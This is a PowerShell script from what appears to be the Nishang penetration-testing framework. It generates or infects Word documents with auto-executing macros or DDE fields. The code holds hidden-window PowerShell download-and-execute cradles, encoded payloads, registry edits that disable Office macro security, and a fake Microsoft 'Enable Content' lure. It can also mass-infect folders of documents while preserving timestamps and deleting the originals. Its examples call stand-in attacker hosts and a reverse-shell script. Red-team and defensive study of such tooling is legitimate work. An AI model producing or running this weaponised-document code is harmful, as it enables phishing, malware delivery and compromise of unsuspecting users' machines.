-
Notifications
You must be signed in to change notification settings - Fork 2.5k
/
Out-Word.ps1
490 lines (392 loc) · 17.2 KB
/
Out-Word.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
function Out-Word
{
<#
.SYNOPSIS
Nishang Script which can generate as well as "infect" existing word files with an auto executable macro or DDE.
.DESCRIPTION
The script can create as well as "infect" existing word files with an auto executable macro or DDE. Powershell or other payloads
could be exeucted using the genereated files. If path to a folder is passed to the script it can insert the payload in all existing word
files in the folder. With the Recurse switch, sub-folders can also be included.
For existing files, a new macro or DDE enabled doc file is generated from a docx file and for existing .doc files, the payload is inserted.
LastWriteTime of the docx file is set to the newly generated doc file. If the RemoveDocx switch is enabled, the
original docx is removed and the data in it is lost.
When a weapnoized Word file is generated, it contains a template to trick the target user in enabling content.
.PARAMETER Payload
Payload which you want to execute on the target.
.PARAMETER PayloadURL
URL of the powershell script which would be executed on the target.
.PARAMETER PayloadScript
Path to a PowerShell script on local machine.
Note that if the script expects any parameter passed to it, you must pass the parameters in the script itself.
.PARAMETER Arguments
Arguments to the powershell script to be executed on the target. To be used with PayloadURL parameter.
.PARAMETER DDE
Switch to use DDE attack vector in place of macros.
.PARAMETER WordFileDir
The directory which contains MS Word files which are to be "infected".
.PARAMETER OutputFile
The path for the output Word file. Default is Salary_Details.doc in the current directory.
.PARAMETER Recurse
Recursively look for Word files in the WordFileDir
.PARAMETER RemoveDocx
When using the WordFileDir to "infect" files in a directory, remove the original ones after creating the infected ones.
.PARAMETER RemainUnSafe
Use this switch to keep Macro Security turned off on your machine after using Out-Word.
.EXAMPLE
PS > Out-Word -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"
Use above command to provide your own payload to be executed from macro. A file named "Salary_Details.doc" would be generated
in the current directory.
.EXAMPLE
PS > Out-Word -PayloadScript C:\nishang\Shells\Invoke-PowerShellTcpOneLine.ps1
Use above when you want to use a PowerShell script as the payload. Note that if the script expects any parameter passed to it,
you must pass the parameters in the script itself. A file named "Salary_Details.doc" would be generated in the
current directory with the script used as encoded payload.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1
Use above when you want to use the default payload, which is a powershell download and execute one-liner. A file
named "Salary_Details.doc" would be generated in the current directory.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -Arguments Evil
Use above when you want to use the default payload, which is a powershell download and execute one-liner.
The Arugment parameter allows to pass arguments to the downloaded script.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/Powerpreter.psm1 -Arguments "Invoke-PsUACMe;Get-WLAN-Keys"
Use above for multiple payloads. The idea is to use a script or module as payload which loads multiple functions.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -OutputFile C:\docfiles\Generated.doc
In above, the output file would be saved to the given path.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -WordFileDir C:\docfiles\
In above, in the C:\docfiles directory, macro enabled .doc files would be created for all the .docx files, with the same name
and same Last MOdified Time.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -WordFileDir C:\docfiles\ -Recurse
The above command would search recursively for .docx files in C:\docfiles.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/evil.ps1 -WordFileDir C:\docfiles\ -Recurse -RemoveDocx
The above command would search recursively for .docx files in C:\docfiles, generate macro enabled .doc files and
delete the original files.
.EXAMPLE
PS > Out-Word -PayloadURL http://yourwebserver.com/Invoke-PowerShellTcpOneLine.ps1 -DDE
Use above for DDE attack instead of macro to download and execute PowerShell script in memory.
.EXAMPLE
PS > Out-Word -Payload "DDEAUTO C:\\windows\\system32\\cmd.exe ""/k calc.exe""" -DDE
Use above for custom payload with DDE.
.EXAMPLE
PS > Out-Word -PayloadScript C:\test\cradle.ps1 -DDE
Use above to encode and use a script with DDE attack. Since only 255 characters are supported with
the DDE attack, this is mostly useful only for using encoded cradles.
.LINK
http://www.labofapenetrationtester.com/2014/11/powershell-for-client-side-attacks.html
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
https://github.com/samratashok/nishang
#>
[CmdletBinding()] Param(
[Parameter(Position=0, Mandatory = $False)]
[String]
$Payload,
[Parameter(Position=1, Mandatory = $False)]
[String]
$PayloadURL,
[Parameter(Position=2, Mandatory = $False)]
[String]
$PayloadScript,
[Parameter(Position=3, Mandatory = $False)]
[String]
$Arguments,
[Parameter(Position=4, Mandatory = $False)]
[Switch]
$DDE,
[Parameter(Position=5, Mandatory = $False)]
[String]
$WordFileDir,
[Parameter(Position=6, Mandatory = $False)]
[String]
$OutputFile="$pwd\Salary_Details.doc",
[Parameter(Position=7, Mandatory = $False)]
[Switch]
$Recurse,
[Parameter(Position=8, Mandatory = $False)]
[Switch]
$RemoveDocx,
[Parameter(Position=9, Mandatory = $False)]
[Switch]
$RemainUnSafe
)
$Word = New-Object -ComObject Word.Application
$WordVersion = $Word.Version
#Check for Office 2007 or Office 2003
if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0"))
{
$Word.DisplayAlerts = $False
}
else
{
$Word.DisplayAlerts = "wdAlertsNone"
}
#Determine names for the Word versions. To be used for the template generated for tricking the targets.
switch ($WordVersion)
{
"11.0" {$WordName = "2003"}
"12.0" {$WordName = "2007"}
"14.0" {$WordName = "2010"}
"15.0" {$WordName = "2013"}
"16.0" {$WordName = "2016"}
default {$WordName = ""}
}
#Turn off Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name AccessVBOM -Value 1 -PropertyType DWORD -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name VBAWarnings -Value 1 -PropertyType DWORD -Force | Out-Null
if(!$Payload)
{
#Download-Execute payload for DDE
#https://twitter.com/SecuritySift/status/918563308541829120
$DDEPayload = "DDEAUTO ""C:\\Programs\\Microsoft\\Office\MSWord.exe\\..\\..\\..\\..\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -W Hidden -NoP iex(New-Object Net.WebClient).DownloadString('$PayloadURL');$Arguments #"" ""data"""
#Download-Execure payload for Macro
$Payload = "powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('$PayloadURL'));$Arguments"
}
if($PayloadScript)
{
#Logic to read, compress and Base64 encode the payload script.
$Enc = Get-Content $PayloadScript -Encoding Ascii
#Compression logic from http://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html
$ms = New-Object IO.MemoryStream
$action = [IO.Compression.CompressionMode]::Compress
$cs = New-Object IO.Compression.DeflateStream ($ms,$action)
$sw = New-Object IO.StreamWriter ($cs, [Text.Encoding]::ASCII)
$Enc | ForEach-Object {$sw.WriteLine($_)}
$sw.Close()
# Base64 encode stream
$Compressed = [Convert]::ToBase64String($ms.ToArray())
$command = "Invoke-Expression `$(New-Object IO.StreamReader (" +
"`$(New-Object IO.Compression.DeflateStream (" +
"`$(New-Object IO.MemoryStream (,"+
"`$([Convert]::FromBase64String('$Compressed')))), " +
"[IO.Compression.CompressionMode]::Decompress)),"+
" [Text.Encoding]::ASCII)).ReadToEnd();"
#Generate Base64 encoded command to use with the powershell -encodedcommand paramter"
$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
$EncScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($command))
#Encoded script payload for DDE - length limit of 255 characters so mostly useful only for encoded cradles
$DDEPayload = "DDEAUTO ""C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"" "" -e $EncScript"""
if ($DDE)
{
if ($DDEPayload.Length -ge 255)
{
Write-Warning "DDE Attack cannot have payload longer than 255 characters. Exiting..."
break
}
}
#Encoded script payload for Macro
$Payload = "powershell.exe -WindowStyle hidden -nologo -noprofile -e $EncScript"
}
#Use line-continuation for longer payloads like encodedcommand or scripts.
#Though many Internet forums disagree, hit and trial shows 800 is the longest line length.
#There cannot be more than 25 lines in line-continuation.
$index = [math]::floor($Payload.Length/800)
if ($index -gt 25)
{
Write-Warning "Payload too big for VBA! Try a smaller payload."
break
}
$i = 0
$FinalPayload = ""
if ($Payload.Length -gt 800)
{
#Playing with the payload to fit in multiple lines in proper VBA syntax.
while ($i -lt $index )
{
$TempPayload = '"' + $Payload.Substring($i*800,800) + '"' + " _" + "`n"
#First iteration doesn't need the & symbol.
if ($i -eq 0)
{
$FinalPayload = $TempPayload
}
else
{
$FinalPayload = $FinalPayload + "& " + $TempPayload
}
$i +=1
}
$remainingindex = $Payload.Length%800
if ($remainingindex -ne 0)
{
$FinalPayload = $FinalPayload + "& " + '"' + $Payload.Substring($index*800, $remainingindex) + '"'
}
#Macro code from here http://enigma0x3.wordpress.com/2014/01/11/using-a-powershell-payload-in-a-client-side-attack/
$code_one = @"
Sub Document_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "$FinalPayload", Null, objConfig, intProcessID
End Function
"@
}
#If the payload is small in size, there is no need of multiline macro.
else
{
# Escape double quotes. Useful for rundll32 payloads where double quotes are used.
$FinalPayload = $Payload -replace '"','""'
$code_one = @"
Sub Document_Open()
Execute
End Sub
Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "$FinalPayload", Null, objConfig, intProcessID
End Function
"@
}
#If path to a directory containing Word files is given, infect the files in it.
if ($WordFileDir)
{
$WordFiles = Get-ChildItem $WordFileDir\* -Include *.doc,*.docx
if ($Recurse -eq $True)
{
$WordFiles = Get-ChildItem -Recurse $WordFileDir\* -Include *.doc,*.docx
}
ForEach ($WordFile in $WordFiles)
{
Write-Verbose "Reading files from $WordFileDir"
$Word = New-Object -ComObject Word.Application
if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0"))
{
$Word.DisplayAlerts = $False
}
else
{
$Word.DisplayAlerts = "wdAlertsNone"
}
$Doc = $Word.Documents.Open($WordFile.FullName)
#Insert DDE Payload
if ($DDE)
{
Write-Verbose "Using the DDE technique."
if(!$DDEPayload)
{
$word.Selection.InsertFormula($Payload)
}
else
{
$word.Selection.InsertFormula($DDEPayload)
}
}
#Else use macro
else
{
Write-Verbose "Using auto-executable macro."
$DocModule = $Doc.VBProject.VBComponents.Item(1)
$DocModule.CodeModule.AddFromString($code_one)
}
if ($WordFile.Extension -eq ".doc")
{
$Savepath = $WordFile.FullName
}
$Savepath = $WordFile.DirectoryName + "\" + $Wordfile.BaseName + ".doc"
#Append .doc to the original file name if file extensions are hidden for known file types.
if ((Get-ItemProperty HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced).HideFileExt -eq "1")
{
$Savepath = $WordFile.FullName + ".doc"
}
if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0"))
{
$Doc.Saveas($SavePath, 0)
}
else
{
$Doc.Saveas([ref]$SavePath, 0)
}
Write-Output "Saved to file $SavePath"
$Doc.Close()
$LastModifyTime = $WordFile.LastWriteTime
$FinalDoc = Get-ChildItem $Savepath
$FinalDoc.LastWriteTime = $LastModifyTime
if ($RemoveDocx -eq $True)
{
Write-Output "Deleting $($WordFile.FullName)"
Remove-Item -Path $WordFile.FullName
}
$Word.quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Word) | Out-Null
}
}
else
{
$Doc = $Word.documents.add()
#Insert DDE Payload
if ($DDE)
{
if(!$DDEPayload)
{
$DDEPayload = $Payload
$word.Selection.InsertFormula($Payload)
}
else
{
$word.Selection.InsertFormula($DDEPayload)
}
}
#Else use macro
else
{
$DocModule = $Doc.VBProject.VBComponents.Item(1)
$DocModule.CodeModule.AddFromString($code_one)
}
#Add stuff to trick user in Enabling Content (running macros)
$Selection = $Word.Selection
$Selection.TypeParagraph()
$Shape = $Doc.Shapes
#Hardcoded path the jpg right now.
$MSLogoPath = ".\microsoft-logo.jpg"
if (Test-Path $MSLogoPath)
{
[void] $Shape.AddPicture((Resolve-Path $MSLogoPath))
}
$Selection.TypeParagraph()
$Selection.Font.Size = 42
$Selection.TypeText("Microsoft Word $WordName")
$Selection.TypeParagraph()
$Selection.Font.Size = 16
$Selection.TypeText("This document was edited in a different version of Microsoft Word.")
$Selection.TypeParagraph()
$Selection.TypeText("To load the document, please ")
$Selection.Font.Bold = 1
$Selection.TypeText("Enable Content")
if (($WordVersion -eq "12.0") -or ($WordVersion -eq "11.0"))
{
$Doc.Saveas($OutputFile, 0)
}
else
{
$Doc.Saveas([ref]$OutputFile, [ref]0)
}
Write-Output "Saved to file $OutputFile"
$Doc.Close()
$Word.quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Word) | Out-Null
}
if ($RemainUnSafe)
{
Write-Warning "RemainUnsafe selected. Not turning on Macro Security"
}
else
{
#Turn on Macro Security
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name AccessVBOM -Value 0 -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Microsoft\Office\$WordVersion\word\Security" -Name VBAWarnings -Value 0 -Force | Out-Null
}
}